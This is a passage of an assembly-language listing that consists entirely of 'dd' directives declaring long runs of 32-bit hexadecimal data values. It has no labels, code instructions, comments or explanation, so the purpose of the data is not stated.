5EB03B96h, 8190D830h, 98F18007h dd 7BF057FDh, 70AE8CAh, 86662037h, 52C03EFEh, 0F31D6394h dd 85F76C00h, 4934CAABh, 74A10793h, 30D67FF5h, 0CD38677Dh dd 46E78D00h, 955C81FEh, 2EE0008Fh, 0B80635CFh, 0F9006C8Ah dd 13272D98h, 4FB3FEh, 3DD4969h, 0B7223528h, 449D3Dh, 8ED55453h dd 0BF59E334h, 0C70AD840h, 941F2A7Ch, 0D600F820h, 0D11669E4h dd 16E3E357h, 743B320h, 72D555ECh, 0A0A0B963h, 923690F3h dd 43712A01h, 44A862D6h, 219EFAD1h, 1A2F0022h, 1F426361h dd 7F2EF301h, 5EA923B9h, 0B306BC50h, 91A8F0D8h, 37790984h dd 1F72B000h, 49336389h, 0E308F8h, 1A32A421h, 0F4E6D545h dd 4FA10400h, 0DBF85E60h, 0C9A3098Bh, 2420E5BBh, 456F9370h dd 582A2301h, 0EF155090h, 1F3461E4h, 86299FA0h, 38E1CF65h dd 0D84A7100h, 5EB4961Ch, 0D0D77758h, 26B87C18h, 0ADA5008Ch dd 90B73BBEh, 6A042AE3h, 0C829CB74h, 71435640h, 0B9009508h dd 7B32FFB7h, 0F0963CAFh, 35BF0062h, 5F6322A8h, 0FC0E0D23h dd 20548A06h, 34E58797h, 0AF20031h, 0D8C72D85h, 84094A76h dd 815D2160h, 6A530B36h, 0F126660h, 27395870h, 6F638F00h dd 0C10E7DE3h, 0C0FAEDEEh, 853A3CC8h, 2B4009Dh, 0CF8995DEh dd 9A0ED872h, 2070D473h, 0BDF03FB3h, 7424007Ah, 934C1A4h dd 893C29FFh, 8BF38385h, 0E0C656B6h, 0B8E618h, 5BBAC926h dd 76236D1Ah, 4FCD007h, 0B110139Ch, 6F890Fh, 0D5C99DC4h dd 0E8F95E96h, 0E77AED00h, 3345BDCFh, 43F20048h, 0BA344B2Ah dd 9701F538h, 0C46D51F8h, 0BF605983h, 0A80A1978h, 0D0DEB084h dd 4360CA8Ah, 0E8ED2C60h, 0F20A009Bh, 45C209E6h, 0B8C1F6FEh dd 17AA3270h, 3D891E1h, 0E2820CF8h, 0AD48DF85h, 5D121003h dd 0C5D867DBh, 0C1BF043Bh, 0DCA9FEC7h, 37A41087h, 913C2069h dd 0E50E5A92h, 19E72D1h, 0A064E10Dh, 0DB7093EDh, 9C543247h dd 21205819h, 0CB48E77h, 0EE816AD8h, 0E1331060h, 0D921F4h dd 46A8F970h, 4E740896h, 63136C07h, 84119173h, 0FDF18640h dd 21981880h, 8A81AE70h, 0A87DDBF8h, 3F049600h, 516E178Bh dd 4C820078h, 4F6962F9h, 34079B0Dh, 4B23EE4Ah, 0C17EC20h dd 0B67F187Dh, 6308AA20h, 61440B00h, 8A39AB80h, 9A491EDCh dd 2E00FBB0h, 0FFDF73FAh, 70F62962h, 4C676AFAh, 2BC0F258h dd 0F5DB399h, 0A805F3Ah, 666F16E0h, 0BA148A5Ah, 3484A2h dd 7F7EB8CEh, 0C02F79CDh, 0E12B0941h, 1A40F463h, 1881F34Ch dd 5498CDC4h, 0FBBFEC81h, 80826B3Ah, 0D2D1E2Ah, 1FE99C0h dd 6ACAD42Eh, 0E31DD9E8h, 0FFD998E3h, 3B2BD0BBh, 49F2A000h dd 0B093B5F9h, 0D8E96F42h, 19209A0Fh, 0A2A9D38Bh, 4B20E1B7h dd 0FF21883h, 0E991BE82h, 896D7056h, 0E081876Fh, 0F37D2261h dd 0AF63140Dh, 700A984Ah, 58BD58Ch, 3701BAF9h, 23EA1424h dd 0A02C4A3h, 90AEC2C9h, 2A012A0h, 0FA01F409h, 362513DCh dd 0B4F4F64Bh, 0B0CBF38Ch, 288BF573h, 0F5343Eh, 6C19ED7Ch dd 0B3D6099Ah, 840E447Eh, 8095AFF3h, 5CA1B286h, 0B60D00ABh dd 1CB4124Ah, 8C147D21h, 7C9FE0F9h, 0B0C38828h, 622588Ch dd 0A8142EBh, 9CE37894h, 37EA5D00h, 285A1B91h, 24804E5Bh dd 202D7F7Bh, 9CC005F0h, 408E08EAh, 5F7650BCh, 20FB2F6h dd 0E021C36Ch, 0AB8B4D18h, 3C0700C1h, 0DD353DE4h, 3E60FBB5h dd 179A96E4h, 566C6018h, 78845973h, 40507260h, 49F24729h dd 9A0628D1h, 182A7379h, 74C8CA6Ah, 0B076818Ah, 505690A8h dd 280ECEF4h, 28C601B1h, 0BF4771E2h, 5230F420h, 784C6926h dd 41C00D2h, 96864297h, 0FCA849F1h, 43002C24h, 0CC794753h dd 5211C5CDh, 7A8EAC3Eh, 151F3495h, 0BD11814Dh, 9270DC01h dd 0CC012228h, 0D1A1A492h, 4EB2D292h, 5D283Ch, 0BB86B4A5h dd 1B393BA2h, 229A8338h, 0D9E96A72h, 0B5006D56h, 2002A33Eh dd 422743CDh, 0BFE5833Fh, 0A544D847h, 258B3749h, 0F90583E0h dd 0BD1D54C8h, 15AC21Fh, 505C51D4h, 80AA76D4h, 0C415A491h dd 1B096622h, 1087A30Eh, 0F84716ECh, 15C50525h, 44D517h dd 0DDB99AF8h, 87144A7Ch, 0CF37E5Ch, 0B8A00C9Bh, 30D5EA52h dd 0C9716359h, 0D008B5C6h, 78C4EDh, 23B3AB79h, 0D860E480h dd 39441A80h, 0FC1F2405h, 0D948B0E4h, 0CF4459F2h, 0AB82010Bh dd 1EFE6AB7h, 5E144060h, 30C625E9h, 42681B05h, 993303C0h dd 2208C6CCh, 53608418h, 0ABDECAE8h, 5C520FA8h, 0DB03231Ch dd 0B587FE73h, 14B60002h, 0B4C5271Bh, 9944430Ah, 6398DC9Fh dd 0ABE241h, 0DC6A4E6h, 2D4C1F01h, 0F0B55400h, 7ED698A7h dd 89710EABh, 6840E3BDh, 671321E9h, 4E286090h, 0D11DDC7Dh dd 0F1004CCAh, 0C21B6DC8h, 5E200F64h, 16E65C80h, 42033103h dd 0FAB2DBD9h, 2DEEE059h, 290CB006h, 83E8A2ADh, 32FA0E58h dd 442F6B8h, 524EE206h, 0FAF89B02h, 0D5980A8Ch, 43FC78D3h dd 80ECE7C2h dd 960AA1F8h, 920A403h, 4BAC866h, 8DA5AD20h, 0BD208019h dd 0E000DD73h, 6E4720D2h, 235C782h, 0EA66E243h, 0B0B0B419h dd 0D5054CA3h, 31D1525Dh, 83A9C1AAh, 1C64E0A9h, 7242CF07h dd 0CD61D8CCh, 0E850F647h, 1C2A2F2h, 415E9F3h, 0F04A297Dh dd 6B0A982Ch, 0B05342FEh, 0C9D01300h, 6A1F3D6h, 18E1FF73h dd 70984148h, 895CC71Fh, 0BAB5C9h, 1B3A021Ch, 5D8F03B8h dd 0B731BB13h, 40C2181Fh, 0E31C8400h, 1E160842h, 0B4E603Fh dd 427935Ah, 0B39AB15Ch, 2194529Ch, 0D880E842h, 95545531h dd 44129C3h, 1065C1BDh, 0EC83091h, 0E0153FDFh, 36137B5Eh dd 232B0352h, 0FE6879B9h, 0F3FA91F8h, 14B082E8h, 0C524C604h dd 0C80E4BBh, 0C94AB1h, 23112CDDh, 0B7425D7h, 598F931Dh dd 8B00C01Dh, 0B4F60226h, 0E8320F18h, 4520AC37h, 0F1D76747h dd 1049D002h, 65EB3C16h, 2A560BE0h, 3E7F8030h, 16F8244Dh dd 0E4128B4Ah, 951F2867h, 798F48C8h, 0E6E5F704h, 34920CFFh dd 0C6C0A1F4h, 3832CE61h, 25EAFA09h, 32018C02h, 0DA546844h dd 0A090B8F8h, 0A63A6839h, 43100470h, 4C0D026h, 0C8CA329Ah dd 39889B20h, 604426F9h, 69941B04h, 83E2280Dh, 0F40250DFh dd 28CA8616h, 5C8D09B0h, 0AC03E84Ch, 2A89AB0Ch, 0B232D924h dd 26878D1h, 4CA34C8Ch, 28263C27h, 4F54EEh, 18AB743Bh dd 0C9F1F817h, 0FC202C19h, 0C6CB5113h, 0FF0014EAh, 1E0B02AAh dd 1E27F942h, 8359AF20h, 911C8313h, 4931E4E9h, 7003388h dd 440D6653h, 859C0089h, 9B229FDDh, 0B8AB0174h, 628B0F14h dd 25158128h, 34218C16h, 26892CD0h, 8B000206h, 0D09087A2h dd 6899084Bh, 0DA571480h, 28F8F971h, 38BC2382h, 6F008155h dd 16496C26h, 7492A75Ah, 6B072B01h, 0AE791732h, 2485B054h dd 7FC934D0h, 1489A2Ah, 97DC528Fh, 3659B947h, 0F7540068h dd 7409B2DAh, 0DDA72A24h, 50E94CBCh, 5F1B110h, 447ED8B5h dd 53990819h, 1682B985h, 6908D0DFh, 700727Bh, 0B08D9A18h dd 281CC8DBh, 495C63E2h, 42004822h, 19510DFFh, 5C72C048h dd 0B4F0D85Fh, 24C092F9h, 800CF8B7h, 880C7F03h, 43090EC0h dd 20407B2Ch, 0FF415D38h, 5AD41FB5h, 0D6CEAA5h, 0AE45726Fh dd 0D4C8D8B1h, 0C7988D03h, 0A5DCA1B9h, 15B1BC21h, 904021D5h dd 0F1642DDh, 0CD01B0B2h, 18C9153Dh, 0EA5E0EE0h, 8E33D000h dd 0EDB4C9AAh, 7EAB05DCh, 0D092DAB8h, 0C61A4940h, 0F0FD1500h dd 6328B70Eh, 6A5D008Ah, 799D8D2Ch, 3B77A142h, 35B61701h dd 4568FC2Fh, 7EF5E982h, 0A861CC32h, 22B043FFh, 8B518100h dd 0A5663FD5h, 0AD5C1274h, 103C8A95h, 4997C54Ah, 0D08072F8h dd 59892B06h, 0A2318763h, 0A5FEA002h, 211C04E9h, 0D009045Ah dd 0CB0E1D58h, 0B5FCC200h, 0CD48A338h, 0D4B01718h, 99BC0040h dd 8D704208h, 0F8FE30C2h, 555468E8h, 65C701D6h, 548216DDh dd 99188C2Ah, 1F104Eh, 0A0BD49E5h, 9B1CC65Dh, 0FA47FE07h dd 14B058Fh, 4AA3F6Eh, 32A064h, 7E87B4FFh, 0BD18B91Fh dd 0C65C8F00h, 0B5368D40h, 0BF1C0E3Fh, 0D0749A6Dh, 88083929h dd 12641613h, 0A93676C0h, 0FF80Eh, 0B8A43A6Eh, 548F104Ah dd 76187400h, 9EF6CCCBh, 0D2431524h, 2042015h, 805D9F44h dd 92548D68h, 370FA4Ch, 0DCE86AC9h, 295FE0C8h, 0BFA8008Ch dd 9F9424F2h, 35125440h, 5041D9F1h, 0B80884CDh, 8991993h dd 18C209FCh, 0F1251459h, 1B100B35h, 0C7D9FB20h, 0CCC24B44h dd 6C552039h, 0DD011CEEh, 0C2A0AF46h, 0E434AC41h, 45A14AB2h dd 0C27A4320h, 0C48A3F88h, 0E9210104h, 24D2025Ah, 7626B764h dd 1400701Bh, 0E9EB2FA2h, 0CCCD014Ch, 1DDD8C6Ah, 0A55D6024h dd 0E82E702Ch, 43D31E06h, 49F9E6D8h, 3A063418h, 3894BB91h dd 2086E81Fh, 29900A0h, 9FE38204h, 0A202E547h, 1DB4874Ah dd 970891A5h, 0B51FF418h, 15120E04h, 60B9280Fh, 3238DB0h dd 0AC1C05AAh, 38D2FF24h, 0C4585844h, 0C0A5A2D4h, 3A4613C8h dd 0F32FD5h, 0DAEB933h, 0D447B493h, 0C529BE19h, 0C808DC38h dd 88A4CD0Bh, 27C41144h, 2AD0E160h, 2D05E77h, 2C7B9966h dd 0C07153A4h, 80136041h, 0CC0CAC21h, 92B0AD62h, 0C1A4252Ch dd 40130104h, 0D02EF3A4h, 0C424E09Ch, 95FCF00h, 515FF2Ch dd 0F705A647h, 0E9082155h, 12450C54h, 14CAE5BAh, 4000CC7Ch dd 3F252F8Eh, 7B029A7Ch, 91E38D75h, 128458EAh, 7DDA193h dd 0A1749D68h, 2153AD5Dh, 5B5020FCh, 0DC280F4Bh, 4CC34C1Eh dd 47A1107Dh, 2C6112C0h, 0F3E27445h, 40554890h, 97DF00D5h dd 0E65607FEh, 2600C212h, 0E85A4968h, 5CAF5E84h, 0FA00C096h dd 0ABA8B511h, 534ED00Eh, 0F6D85403h, 74680995h, 8809159Fh dd 330D3381h, 246038B4h, 0C1E2B0B6h, 6BB0134h, 0D4A0ACB0h dd 251602C0h, 449749A6h, 52E94409h, 0FE18E08Ch, 54B89958h dd 4C00682Ch, 1B8ECA59h, 3B805F02h, 2FB82FDh, 3E9FC30Fh dd 1040DD1Ah, 0EF2E84CFh, 9A00E84Bh, 1E9B5979h, 16CB226h dd 4EC446AAh, 2493C7EAh, 0F100FE1Ch, 0D0A5A618h, 6F1673h dd 0A88AF050h, 449C8231h, 3CBA8B3Ch, 0D071CE80h, 0C044C1DEh dd 7D7F3480h, 0D30016Dh, 0CCE3F1D8h, 2A36C84Dh, 0FD42A11Dh dd 3B9D9A14h, 7CBF95EEh, 1E510A18h, 0E50308Bh, 635480C6h dd 0C0F0D124h, 9DF46780h, 9A1BA0h, 37D32A0Ah, 11B8968Bh dd 60039939h, 0DF23EED8h, 55303FA2h, 907A5E94h, 0C5847B00h dd 1C0D2DD0h, 51536514h, 0E389100Ch, 803D325h, 0FAD0D59Ah dd 11C5BF1Eh, 0B39598h, 0C5FCA404h, 394978F5h, 72305D1Ch dd 8C7A7368h, 34A352Dh, 0C1EF46A4h, 983C30A6h, 85B0A43Fh dd 0D5D18E11h, 20C77E27h, 1F2BE9FCh, 40C98FAh, 0EA560959h dd 0FEA10028h, 0ED23B195h, 1500A422h, 8D3E7CD8h, 603E1BC2h dd 9CD004F3h, 1080E36Ch, 4891ED16h, 7B3E2848h, 78F0B918h dd 5B162941h, 0DC407904h, 268B25FAh, 4DAC3815h, 4E38203Ch dd 0A0698F37h, 0DAA48AC0h, 0C3A18B02h, 48EB8EC7h, 0B0AF7C54h dd 84E814h, 0D2E29D1h, 0D6099E08h, 857DB8CFh, 0BC0CB91Dh dd 6C8719Bh, 6CEF53E7h, 160C18E5h, 3024C38Dh, 0A54F1045h dd 3B6806D3h, 0F18E076h, 9E992BDAh, 8088E76Ah, 1F95BBB9h dd 0C100F429h, 0DB644239h, 0DD91C5h, 2755CEB4h, 9F0BCDF7h dd 5C75007h, 5110ED4Fh, 3921122h, 155E6FF4h, 35B04367h dd 0E400F689h, 88C6CA4h, 0FD0585h, 92772691h, 0DE4E7347h dd 7882C600h, 20E60CFBh, 56652C44h, 0B81E0052h, 0B34070A2h dd 63865F00h, 0E201F31Ch, 0FC92019Ch, 0A966171Eh, 0B830E8CCh dd 0F114D300h, 0A7E3CE97h, 7AA7884h, 3168AF62h, 422A4C7Ah dd 0DC003CFCh, 32F7DA8h, 39AEB755h, 69023684h, 0FB56116h dd 8898ADC1h, 884CF929h, 4290AC8Fh, 48B68384h, 9EFC4275h dd 228A5E22h, 31242B47h, 7ED3040h, 231E4DDDh, 5A07EC41h dd 3130D7E1h, 29E354h, 49D60760h, 0DEBBD286h, 3F5E6B00h dd 66B9E184h, 616800DBh, 9B4A9D42h, 2B00FCEDh, 0D0FAF436h dd 0C05FDD04h, 0A5CC5D48h, 9D003AD1h, 49669140h, 73F1A1h dd 0B390AE34h, 4FE28A6h, 0E73BFB01h, 0DB08E95Fh, 0D9C570h dd 0DEC78B42h, 71E28251h, 3740B300h, 0F77D4DC4h, 42923830h dd 5C2C8780h, 7BCDC72Dh, 5014B4A0h, 543C5E7Ch, 5D6E18BFh dd 7D4BB070h, 6D1B39B8h, 0AC72FB0Bh, 0F0AF0C01h, 0EC2DC489h dd 17CA1800h, 9B60231h dd 227D005Ah, 41468224h, 0B5607615h, 3B0E8988h, 0CE8518F5h dd 0AA22583Ch, 0EFF8FD54h, 0E496C900h, 8E0F93DBh, 0A08D0258h dd 0DF39FD04h, 7B12360h, 0EF0062E6h, 161ACC25h, 5629E4h dd 0B517FC2Fh, 8A52533Ch, 0FECB7400h, 640B4737h, 18EE0354h dd 576A7CA7h, 36450F90h, 0CFD11900h, 2EB78CC9h, 3801FC5Ah dd 0DA1F3093h, 0C480FD73h, 0C984994Bh, 8909AD39h, 0B4C9463h dd 2D740000h, 767A882h, 90BA786Fh, 0BD6B002Ch, 0C300FEEEh dd 6235E213h, 0B1AE80h, 0DA0A56D6h, 3B4B30DBh, 0C627E903h dd 0C0067E6Ah, 76591775h, 10224A8h, 0F46F00E9h, 0B7EE1BD6h dd 69CCAD00h, 2B64BDD8h, 63F300EDh, 3503D5A0h, 0B0505E9Dh dd 0F101D6DCh, 8D3192C6h, 0D7FC9865h, 0DC8900BFh, 0D2EC2285h dd 0B00119F0h, 0F81E1495h, 5C70667Bh, 0D61B1F78h, 774340EEh dd 3B54679Bh, 0C41387FEh, 5AC1180Eh, 0D6D46E7Ah, 79A79F3h dd 0C690CD38h, 9217393h, 63B1EEA3h, 3A91DCA7h, 52CFB501h dd 0C89E98E4h, 0FA0FFC40h, 74EE1238h, 8F38027Fh, 0E607AEF2h dd 0C55430C1h, 9E9A3081h, 0D0B4638Eh, 0A000CCF4h, 6DA471CFh dd 309BE589h, 3920BE2Bh, 0D8FB8F66h, 0D42A98AAh, 4C00D0D8h dd 51075053h, 929D3Fh, 0E46B1B37h, 0A4118BC1h, 0B55C4100h dd 75107D66h, 653303E2h, 0FD4D38C4h, 0C2291BE0h, 678CC0C3h dd 0BCEEC8CFh, 4BE700ECh, 0B8988D1Fh, 0C700D0D2h, 0E3B93E3Ch dd 0AF5590h, 0BE5E5382h, 1377C621h, 71194702h, 60EE2E6Bh dd 7CC6158h, 9084854h, 240FE0AEh, 4E005CFFh, 95C03620h dd 245B989Ch, 1E842A56h, 0FA401C7h, 0E849DFDBh, 9F00B395h dd 15B6F07Ch, 0F997E13h, 5E070661h, 7B5BFAC0h, 36014122h dd 738F9C43h, 0E03F141Ah, 600081C9h, 0A88E9576h, 27A070h dd 0BA2B44FBh, 97BE920Eh, 9DC16B12h, 58368C00h, 8C18A8h dd 51D0BA6Ch, 0EBBFAFCCh, 359E4904h, 0D090CA75h, 74ADB4h dd 7CAB379Ah, 7F77B5FAh, 8A2A2700h, 0E2729EE8h, 0B24800C2h dd 0B858702Ch, 5B00C506h, 90D02429h, 1BDCB04h, 346AADCCh dd 0D863DC7Dh, 993A2150h, 87803FACh, 0B4307F68h, 6B87E420h dd 0E2920097h, 335D2B91h, 80001FB7h, 5F4B88B8h, 5E306801h dd 2137F0D4h, 9B29DE0Eh, 86E201DBh, 1FCA584h, 4E6E1DDDh dd 76C3C343h, 5E7C26A2h, 0BC672E00h, 0C0387DD8h, 833E0039h dd 119CDA3Ch, 0F507F6F9h, 0C2627AFFh, 0E09960B0h, 0A4D60787h dd 0EC7420h, 84D3459Dh, 0AEC28500h, 47F807F7h, 0FD340016h dd 1B4366C0h, 9B00AD27h, 99CE5556h, 7FDCABA1h, 0E6264803h dd 387C5B00h, 1FE02D5Eh, 0C78E021Bh, 3F9590A8h, 0DF3C00EDh dd 2EC233B5h, 0FB3EAEF8h, 0E24080C5h, 989C69Bh, 7CB1B06Fh dd 7AFFACEh, 0AA552208h, 6AC0B0E6h, 6900BE27h, 3233F53Ah dd 2FE4440h, 6CA63BC5h, 0C0605C60h, 0AD701935h, 0CC8DAC00h dd 0B1B82797h, 71123A2Ch, 501D0480h, 0F225149Fh, 168BAD00h dd 0D8426F1Fh, 0CA7A0056h, 4ABCD408h, 1A008A18h, 0CC5AB22Eh dd 815447h, 4BA71932h, 3D297EAAh, 0C751FECEh, 0CB811CC2h dd 9C248336h, 5D713B18h, 0AA0D8F00h, 347BAD02h, 0F863EA00h dd 0AF5F6085h, 7DFAB7h, 0F76104F9h, 0E081C536h, 0F4077E70h dd 82723FF6h, 0CF53D820h, 85EA0376h, 5FB7F11Dh, 544884EAh dd 3C7A505Bh, 0A4EBE504h, 90879DA8h, 3B0FAA0h, 8B9309D1h dd 9BD4EF9Ch, 9B619400h, 0B7A928h, 7AC3F71Ch, 2F96FAB6h dd 0C6CC4700h, 6D2EE3DEh, 62D85CF8h, 0C3C56F00h, 0FE901E04h dd 55F2DB00h, 6EE72F1h, 0FB91000Fh, 8DC6ACAEh, 0DC2CA63Ch dd 9A00C598h, 6C303372h, 717146h, 0A25E0928h, 0C1024F73h dd 0F9757F1Eh, 702A3F80h, 32454Eh, 63C2268Ah, 0E93E830Bh dd 65FC111Eh, 24610343h, 0A7E5F0A8h, 74B8282Fh, 6C3F00F4h dd 0F332663Ch, 0F042446h, 89F427B3h, 0A4F2A880h, 0EB26001Ch dd 441391D5h, 0C304625Fh, 23AD5450h, 68095CC2h, 1EA5F964h dd 0C1905DFEh, 3389B62Bh, 0FBA440C5h, 2D00EF06h, 2138A21Dh dd 0B45D85Ch, 78106990h, 7A04F823h, 5F3EEFC8h, 0F985CC00h dd 0A7F29127h, 7CA11E37h, 5C5D8022h, 9FBC1E3h, 0DA8CF500h dd 0EBE72E5h, 55F675h, 0E368A1C4h, 561D819Bh, 0BA4395Ch dd 9887D0FCh, 0ECE764h, 63C13479h, 0B990148Eh, 0EB243500h dd 701937C9h, 74F600D3h, 56837BB7h, 0F9006E1Eh, 55AF4DFAh dd 123C71h, 1D0B8EAAh, 8656F33Fh, 7BEFBF00h, 0C0B6235Ch dd 0FA3FC7Ah, 60EDBDC1h, 0C01CE4A4h, 0FE1A08EFh, 63DBC418h dd 2554BA8h, 92825245h, 8480C254h, 0B85044D8h, 0A60C4100h dd 0D994F560h, 58F17EC1h, 7F122096h, 0C0404093h, 1A13DC7Eh dd 0DBD6F300h, 10FACF12h, 0F7C30EC4h, 99C04204h, 6152B93Fh dd 2E345500h, 6582196Ch, 16AC9480h, 38D80205h, 0FC68631Ch dd 8E0A8806h, 9DE48DAEh, 6616CE02h, 7564E081h, 0F6D53991h dd 0A3740880h, 0C479DD8Dh, 880E4F00h, 40721B41h, 5EB51FB9h dd 432A433Ch, 0DDF98223h, 0A070A675h, 4CE04F18h, 864B00CDh dd 0F33D6AFBh, 16025C6Fh, 71962C99h, 0D5CB6019h, 90B500CEh dd 0C163806Bh, 30B12BAFh, 2CEB3D00h, 7274A7C3h, 2D5D0007h dd 218F611Fh, 0DE778920h, 10845Ch, 0C418B187h, 24BA37A0h dd 304EED4Eh, 27949050h, 358D3B00h, 109C0B6Fh, 8B2612BCh dd 42D90095h, 2805E2FFh, 0FAB44E01h, 73F8C489h, 8DA020h dd 0CC6FDA76h, 4E02C1CDh, 60443430h, 309C85h, 1011E1DCh dd 4AC1F70Eh, 3E53311Ch, 845714h, 6B6597Ch, 78B517C2h dd 0C7FCE4h, 98302629h, 0BE8C75D3h, 2B660700h, 83AA5B27h dd 0F77B0069h, 3EF633EEh, 5E005F0Dh, 0C5536690h, 90451DA5h dd 7E47E478h, 6CC00E6Fh, 2F20E4E5h, 0C15AE695h, 0F29EDF00h dd 0CB9F0E92h, 37781F03h, 33F080C5h, 0CDB751A9h, 0E916DE00h dd 0A5C41166h, 0E0A813FDh, 319C4064h, 0CE0FFBE8h, 80728138h dd 0E5303744h, 905348Ch, 0DEEBD688h, 64D17100h, 0FB010BB3h dd 72CAF76h, 0DF43A18Eh, 297F8033h, 75AE0049h, 238B28CDh dd 5F00CAA8h, 0BE190499h, 34B5C66h, 0F22017ADh, 98B07FA5h dd 0CE000A2Ch, 2EB2C5DEh, 5F437Dh, 2DE7D40Bh, 0B3CA1C49h dd 0DA1E9778h, 0C5C083D0h, 4B99F9E8h, 3F67091h, 0FBC45869h dd 0F5E1ED73h, 0FFD8DCC5h, 0E51A65Dh, 0AF423204h, 13AAA7A7h dd 52FAE680h, 0B5D001DBh, 430F7BA9h, 17D14062h, 2C07C44Fh dd 0B9254E90h, 0B1DE0300h, 19EC0027h, 0A96E5FEEh, 0D10F50E9h dd 7EA3399Eh, 18013F80h, 1EE61DDDh, 80C5A9E2h, 0E0D635Ah dd 9A00E1EBh, 43C4D5F6h, 96D6C68h, 0B04E9137h, 0C94AA000h dd 5B3B8017h, 58978053h, 4E0C89D9h, 63F201CFh, 0A2C16DA3h dd 726C70C7h, 822B4C07h, 0CA21477Fh, 93E46F9Dh, 41060CE2h dd 0CE4083F7h, 143D2407h, 16D0DE2Bh, 12E38Dh, 53F4DFD2h dd 0AB4115E9h, 3AC17007h, 7CF097A4h, 0E263BC84h, 0CAD900FAh dd 8525E139h, 8C13BB53h, 78001BC7h, 911F4B3Fh, 3A35000Fh dd 7D12077h, 0F902C6FCh, 85979FA2h, 0FB9B60E5h, 689A60BCh dd 7F1207ECh, 45424C00h, 93BBBDC0h, 95D00038h, 27247280h dd 0D2006790h, 14ACD492h, 5E30F45h, 0E95C2881h, 0BF86C1ABh dd 7F5AC805h, 0C62AAC01h, 0E5E79580h, 852BD440h, 7BDC007Dh dd 98014CCFh, 0F958D3AAh, 0FA8B3BF2h, 283B6A00h, 449DEEB3h dd 9AE500FAh, 9BE1C6F5h dd 7539C0CFh, 0AB00DB89h, 24B1511Ah, 3991006Ch, 0DEAC266h dd 702375Ch, 0A2D7012Eh, 0F898C01Eh, 4E3E00E5h, 7D6F5BD4h dd 2900B550h, 0DFEBCEE6h, 5C70AAEFh, 579FAA3h, 2B4B93B2h dd 0C0C80EF3h, 0A657D380h, 7E006DB6h, 62C820C5h, 0E476D1C9h dd 9F9200C4h, 0B2E68260h, 19003B8Fh, 0B46D4A26h, 327663h dd 61575B0Eh, 41F80FA9h, 3CA69F00h, 5E39EA02h, 372E001Fh dd 8FCBD7B2h, 0CE0063F8h, 0E9C51CAh, 0E11DC3Ch, 41397BA5h dd 771E3EE3h, 5A295BD8h, 56BF9400h, 87AA307Dh, 0FAC905Ch dd 889C71BCh, 0C2D2B9A1h, 7068D411h, 92CCB100h, 891D644Eh dd 4A091CECh, 65D0C019h, 2DDEED7Eh, 6147E603h, 0F8EAACE7h dd 5C907166h, 0AA001EB6h, 0BC9F216Fh, 0B005886Bh, 1357C6D1h dd 0E0189000h, 76745Ch, 9ED8577h, 72AEF2E4h, 9B0590C0h dd 1FC9D03Eh, 401F7699h, 0A4582A9h, 300E3A44h, 8097A506h dd 0FE102057h, 1D400323h, 16DC56A7h, 0D4040AF0h, 32753F00h dd 0BE057D9Fh, 1D52005Eh, 96F86379h, 8CE41B09h, 99C11400h dd 0B960BFC5h, 3D7100EAh, 0D304C0ACh, 5C00B472h, 73C56B96h dd 517C66h, 8616DB0Dh, 0B524C77Fh, 9C99200h, 808F36F8h dd 455900DCh, 0E854EE4Bh, 43006396h, 0DA8B68EAh, 146DA49Ch dd 80D981D6h, 74E6A70Eh, 22FB49E0h, 0CF58ADE1h, 144E0009h dd 0BDA6D016h, 458E006Ch, 0D4E299DAh, 3D00BFB1h, 0E5A4E81Ah dd 1E65AF1h, 79ED333Ch, 0E472F9E3h, 0A80050B2h, 0D8A35108h dd 7C8D958Eh, 5E1A1D49h, 259D4763h, 8C1080D4h, 0AE01FAA5h dd 9C0453ECh, 9880F95Fh, 47DA9BC3h, 2800DB84h, 7B264027h dd 0FC37F1h, 15A060Bh, 0BCA247CEh, 0BA54F301h, 57DB90BBh dd 99DD80C2h, 713374CBh, 0D46C0775h, 904BF20Ch, 9DB4A395h dd 8AC22000h, 1BEBF0E9h, 7FBF0FBCh, 0F6436915h, 0C3E8E4E1h dd 970E3860h, 0CF4EB765h, 31D52008h, 0FACB37D4h, 80853F53h dd 1F7E00F6h, 7A08A1E9h, 0F700D3A8h, 5FB27C4Ch, 7BE7CFE3h dd 103B1907h, 81D53084h, 0ECA01941h, 22F402C3h, 0BA5E002Bh dd 0CD90C401h, 821E588Dh, 0E01E6F2h, 0A48FDD29h, 0B0DC5020h dd 55F800B5h, 1D6A33Fh, 0D1001C71h, 0F7637E77h, 0B891179Ch dd 6B2F000Fh, 29B0ABA0h, 0B400D180h, 7E8B2E81h, 1603920Ch dd 182267h, 0B11F8524h, 860031B8h, 125B094Ch, 1F53261h dd 6C7F2738h, 0EC6641E7h, 7A002D6Ah, 5188AF65h, 1A2452EDh dd 11B892BDh, 0A7D9C410h, 69C10418h, 433C530h, 639CD549h dd 5FBC90D8h, 81C529BDh, 7CC3129Bh, 52B9F0D5h, 0E5FD3E3Bh dd 3C32D11Fh, 7FDD3074h, 1AB40A10h, 0DF2A440Eh, 0C0005F88h dd 51EA23D5h, 36C901F8h, 0F1C25A89h, 9008E8E9h, 13829A00h dd 3FBB2AADh, 38C01CAh, 0E24E0122h, 0D3B4C846h, 0CEB14900h dd 48A7EC6Eh, 4FD50338h, 0D734479Dh, 0B9FA8901h, 0D9FC1C8Dh dd 5AA0C182h, 0E0F1174h, 0B41E80C1h, 909BE7E0h, 828E0136h dd 0C913C6C3h, 59E88615h, 6311D63h, 0F31EE4A3h, 0F50538B5h dd 5E5920C7h, 0C0C91005h, 2C8F1C00h, 5A2B1FCh, 270B89C4h dd 0B5B6C08Bh, 95009DA1h, 0BC6CA64Ah, 0F47E73h, 243E13D9h dd 0FE71EB05h, 5CBB781Dh, 8EDCEE40h, 1D999BF4h, 403AA190h dd 0A6418F02h, 0B903D525h, 7654AFB1h, 7FDC8069h, 0D06E5458h dd 9FF80016h, 0EEC7BFD4h, 0C91D2B1Eh, 2C141B9Eh, 9A160090h dd 9929D489h, 31E4070Ah, 9003285Bh, 0EB189FBBh, 0DF9BD702h dd 0A0775EE6h, 0C182C6A0h, 0FE480FCEh, 9B8218Ah, 17000ADDh dd 0E76FA618h, 0B2534D1h, 9B075763h, 0B16DEB81h, 1EE0F282h dd 0E603493Eh, 0B755A3A8h, 0E9A6F82Ah, 9970D832h, 0DF299C18h dd 47003CF7h, 0B648C5C3h, 10FF867Ch, 0C3813Dh, 5B66CE89h dd 0FCB37626h, 8AEF4500h, 250F494h, 10B00F0h, 0AE937FAh dd 0FD00823Ch, 6675C72Dh, 6971986h, 98F35BB6h, 113008BEh dd 0CEBC20FCh, 0B7FE0086h, 2492E61h, 0A300899Fh, 88998D1Eh dd 6103BBC9h, 50FD10C4h, 7ACE0CAh, 0F5F01A00h, 0E847A2A3h dd 0D51F09F1h, 0BF78030Bh, 8712600h, 5ADD3154h, 